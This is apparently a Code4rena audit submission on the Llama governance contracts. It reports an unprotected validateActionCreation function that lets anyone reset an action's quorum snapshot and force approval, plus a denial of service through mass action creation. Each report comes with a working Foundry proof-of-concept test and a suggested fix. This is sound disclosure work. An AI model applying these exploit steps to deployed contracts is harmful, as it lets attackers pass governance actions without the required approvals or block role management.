Llama - ktg's results

Lines of code

https://github.com/code-423n4/2023-06-llama/blob/main/src/strategies/LlamaRelativeQuorum.sol#L199-#L210

Vulnerability details

Impact

Anyone can change approval/disapproval threshold for any action using LlamaRelativeQuorum strategy.

Proof of Concept

When a new action is created with LlamaRelativeQuorum strategy, LlamaCore will call function validateActionCreation which is currently implemented as below:

function validateActionCreation(ActionInfo calldata actionInfo) external {
    LlamaPolicy llamaPolicy = policy; // Reduce SLOADs.
    uint256 approvalPolicySupply = llamaPolicy.getRoleSupplyAsNumberOfHolders(approvalRole);
    if (approvalPolicySupply == 0) revert RoleHasZeroSupply(approvalRole);

    uint256 disapprovalPolicySupply = llamaPolicy.getRoleSupplyAsNumberOfHolders(disapprovalRole);
    if (disapprovalPolicySupply == 0) revert RoleHasZeroSupply(disapprovalRole);

    // Save off the supplies to use for checking quorum.
    actionApprovalSupply[actionInfo.id] = approvalPolicySupply;
    actionDisapprovalSupply[actionInfo.id] = disapprovalPolicySupply;
  }

The last 2 lines of code is to Save off the supplies to use for checking quorum. The 2 variables actionApprovalSupply and actionDisapprovalSupply are described as Mapping of action ID to the supply of the approval/disapproval role at the time the action was created. This means the strategy will save the total supply of approval/disapproval role at creation time and then use them to calculate the approval/disapproval threshold, which equals to (approval/disapproval percentage) * (total supply of approval/disapproval). However, since the function validateActionCreation's scope is external and does not require any privilege to be called, any user can call this function and update the total supply of approval/disapproval role to the current timestamp and break the intention to keep total supply of approval/disapproval role at the time the action was created. This issue is highly critical because many Llama protocol's functions depend on these 2 variables to function as intended.

For example, if the total supply of approval role is 10 at the creation of action and the minApprovalPct = 100% - which means requires all policy holders to approve the action to pass it. If it then be casted 9 votes (1 vote short), the action's state is still Active (not approved yet). However, if 1 user is revoked their approval/role, anyone can call function validateActionCreation and update the required threshold to 9 votes and thus the action's state becomes Approved.

Below is a POC for the above example, for ease of testing, place this test case under file LlamaStrategy.t.sol, contract IsActionApproved:

function testAnyoneCanChangeActionApprovalSupply() public {
    // Deploy a relative quorum strategy
    uint256 numberOfHolders = 10;

    // Assign 10 users role of TestRole1
    for (uint256 i=0; i< numberOfHolders; i++){
      address _policyHolder = address(uint160(i + 100));
      if (mpPolicy.balanceOf(_policyHolder) == 0) {
        vm.prank(address(mpExecutor));
        mpPolicy.setRoleHolder(uint8(Roles.TestRole1), _policyHolder, 1, type(uint64).max);
      }
    }


    // Create  a LlamaRelativeQuorum strategy
    // in this minApprovalPct = 10_000 (meaning we require all 10 policyholders to approve)
    LlamaRelativeQuorum.Config memory testStrategyData = LlamaRelativeQuorum.Config({
      approvalPeriod: 2 days,
      queuingPeriod: 2 days,
      expirationPeriod: 8 days,
      isFixedLengthApprovalPeriod: true,
      minApprovalPct: 10000, // require all policyholder to approve
      minDisapprovalPct: 2000,
      approvalRole: uint8(Roles.TestRole1),
      disapprovalRole: uint8(Roles.TestRole1),
      forceApprovalRoles: new uint8[](0),
      forceDisapprovalRoles: new uint8[](0)
    });

    ILlamaStrategy testStrategy = lens.computeLlamaStrategyAddress(
      address(relativeQuorumLogic), DeployUtils.encodeStrategy(testStrategyData), address(mpCore)
    );

    LlamaRelativeQuorum.Config[] memory testStrategies
    = new LlamaRelativeQuorum.Config[](1);
    testStrategies[0] = testStrategyData;
    vm.prank(address(mpExecutor));
    mpCore.createStrategies(relativeQuorumLogic, DeployUtils.encodeStrategyConfigs(testStrategies));

    // create action
    ActionInfo memory actionInfo = createAction(testStrategy);
    assertEq(LlamaRelativeQuorum(address(testStrategy)).actionApprovalSupply(actionInfo.id), numberOfHolders);

    // Suppose that 9 policyholder approve
    // the action lacks 1 more approval vote so isActionApproved = false
    approveAction(9, actionInfo);
    assertEq(LlamaRelativeQuorum(address(testStrategy)).isActionApproved(actionInfo), false);

    // Revoke 1 user
    vm.prank(address(mpExecutor));
    mpPolicy.revokePolicy(address(100));

    // Now anyone can update the actionApprovalSupply and therefore
    // change the approval threshold
    address anyOne = address(12345);
    vm.prank(anyOne);
    LlamaRelativeQuorum(address(testStrategy)).validateActionCreation(actionInfo);

    // The actionApproval for the above action is reduced to 9
    // and the action state changes to approved
    assertEq(LlamaRelativeQuorum(address(testStrategy)).actionApprovalSupply(actionInfo.id), numberOfHolders - 1);
    assertEq(LlamaRelativeQuorum(address(testStrategy)).isActionApproved(actionInfo), true);
  }

Tools Used

Manual review

Recommended Mitigation Steps

Since the intention is to keep values actionApprovalSupply and actionDisapprovalSupply snapshot at creation time for every action and LlamaCore only call validateActionCreation at creation time, I think the easiest way is to allow only llamaCore to call this function.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-06-llama/blob/main/src/LlamaPolicy.sol#L404-#L409 https://github.com/code-423n4/2023-06-llama/blob/main/src/LlamaCore.sol#L516-#L562

Vulnerability details

Impact

LlamaPolicy could be DOS by creating large amount of actions.

Proof of Concept

Currently, when Executor want to set role for a user, he call function LlamaPolicy._setRoleHolder, this in turn will first call function _assertNoActionCreationsAtCurrentTimestamp:

/// @dev Because role supplies are not checkpointed for simplicity, the following issue can occur
  /// if each of the below is executed within the same timestamp:
  //    1. An action is created that saves off the current role supply.
  //    2. A policyholder is given a new role.
  //    3. Now the total supply in that block is different than what it was at action creation.
  // As a result, we disallow changes to roles if an action was created in the same block.
  function _assertNoActionCreationsAtCurrentTimestamp() internal view {
    if (llamaExecutor == address(0)) return; // Skip check during initialization.
    address llamaCore = LlamaExecutor(llamaExecutor).LLAMA_CORE();
    uint256 lastActionCreation = LlamaCore(llamaCore).getLastActionTimestamp();
    if (lastActionCreation == block.timestamp) revert ActionCreationAtSameTimestamp();
  }

As stated in the comment, the protocol disallows changes to roles if an action was created in the same block. However, function LlamaCore._createAction does not limit the number of actions a user could create. Consequently, a user with createAction role can DOS protocol's policy by creating large amount of actions. A user can create 24 * 3600 * 30 ~ 2.5 mils actions to DOS a system in a month, this is definitely a not too big number, especially when the protocol is deployed in low fee blockchains. (I notice that the folder script is organized as script/input/{blockchainId}/*.json so I assume that the protocol will be used across different blockchains).

This will prevents the revoking of expired roles, revoke policy,... because they all use _setRoleHolder function. Below is a POC, for ease of testing, place this test case under file LlamaStrategy.t.sol, contract IsActionApproved:

function testDOSByCreatingManyAction() public {
    ILlamaStrategy testStrategy = deployTestStrategy();
    uint256 numberOfHolders = 10;
    generateAndSetRoleHolders(numberOfHolders);

    // create action
    bytes32 newPermissionId = keccak256(abi.encode(address(mockProtocol), PAUSE_SELECTOR, testStrategy));
    vm.prank(address(mpExecutor));
    mpPolicy.setRolePermission(uint8(Roles.ActionCreator), newPermissionId, true);
    bytes memory data = abi.encodeCall(MockProtocol.pause, (true));
    vm.prank(actionCreatorAaron);
    uint256 actionId = mpCore.createAction(uint8(Roles.ActionCreator), testStrategy, address(mockProtocol), 0, data, "");
    console.logUint(actionId);
    // revert if we try to set role
    vm.prank(address(mpExecutor));
    vm.expectRevert(LlamaPolicy.ActionCreationAtSameTimestamp.selector);
    mpPolicy.setRoleHolder(uint8(Roles.TestRole1), address(12345), 1, type(uint64).max);


    // Pass time
    vm.warp(block.timestamp + 1);

    // Create action again
    vm.prank(actionCreatorAaron);
    actionId = mpCore.createAction(uint8(Roles.ActionCreator), testStrategy, address(mockProtocol), 0, data, "");
    console.logUint(actionId);
    // policy can't set role again
    vm.prank(address(mpExecutor));
    vm.expectRevert(LlamaPolicy.ActionCreationAtSameTimestamp.selector);
    mpPolicy.setRoleHolder(uint8(Roles.TestRole1), address(12345), 1, type(uint64).max);


  }

Tools Used

Manual Review

Recommended Mitigation Steps

I recommend limiting the number of active actions a user can create.

Assessed type

DoS

My method to approach the codebase

This contest is 2000 sLOCs within the duration of only 7 days. The duration is quite short for the large codebase and the topic (Governing mechanism) is not so familiar to me, so at first I tried to focus on reviewing different types of strategies. Then after following the flow of action (Creation, cast approval, disapproval,..) and analyze the interactions between 3 core components: LlamaCore, LlamaPolicy and LlamaStrategy, I found some bugs that are the results of these interactions.

My approach mainly involves following the process in which actions get through, from creation to different states like Active, Canceled, Expired,...reading the involved functions of core components (LlamaCore, LlamaPolicy,LlamaStrategy) and analyze the impact of different scenarios.

What I think the protocol did well

• The protocol did a good job in designing the architecture, in which the core, the policy and strategies are separated, the separation makes it easier to implement security on each component and also extending the protocol in the future.
• The fact that guard is only an interface allow users to implement their custom security policies.
• The pattern if...revert is used extensively, even functions that sound like they should return boolean value e.g isDisapprovalEnabled, this may cause some trouble to users who insist on getting the results instead of revert but is great in terms of security because it terminate the code right when detecting if something wrong.
• I think the action's state is managed quite well, I found no way to bypass states or do anything not according to the flow.

What I think the protocol could improve

• Maintain the consistency of state actions functions (like isActionExpired,isActionDisapproved,...) and LlamaCore.getActionState function.
• Introduce some functions allowing users to undo their mistaken acts, for example cancel their approval/disapproval cast.
• Parameters passed to creating strategies should be checked more carefully, for example the values of approvalPeriod, queuingPeriod, expirationPeriod is not checked at all, with special values (0 or very large), there could be some unpredictable consequences.
• Users should reserve the right to revoke their roles if they want to, the LlamaExecutor currently has absolute power over assigning/revoking roles to everyone.

Time spent:

20 hours